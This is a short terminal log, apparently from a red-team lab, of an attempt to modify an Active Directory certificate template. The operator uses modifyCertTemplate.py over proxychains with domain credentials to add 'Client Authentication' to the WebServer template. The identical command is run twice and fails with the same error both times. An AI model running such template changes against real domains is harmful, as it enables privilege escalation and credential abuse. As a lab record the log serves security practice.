└─# proxychains4 python3 modifyCertTemplate.py redteam.com/john:'password' -dc-ip 192.168.21.180 -template WebServer -property 'msPKI-Certificate-Application-Policy' -add "Client Authentication" -debug
[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket-0.12.0.dev1+20240130.154745.97007e84-py3.11.egg/impacket
[+] LDAP bind successful
[+] Performing LDAP query...
[+] "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteam,DC=com" "(objectClass=)"
[] Object found
[-] Could not find property 'msPKI-Certificate-Application-Policy' on the object
└─# proxychains4 python3 modifyCertTemplate.py redteam.com/john:'password' -dc-ip 192.168.21.180 -template WebServer -property 'msPKI-Certificate-Application-Policy' -add "Client Authentication" -debug
[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket-0.12.0.dev1+20240130.154745.97007e84-py3.11.egg/impacket
[+] LDAP bind successful
[+] Performing LDAP query...
[+] "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteam,DC=com" "(objectClass=)"
[] Object found
[-] Could not find property 'msPKI-Certificate-Application-Policy' on the object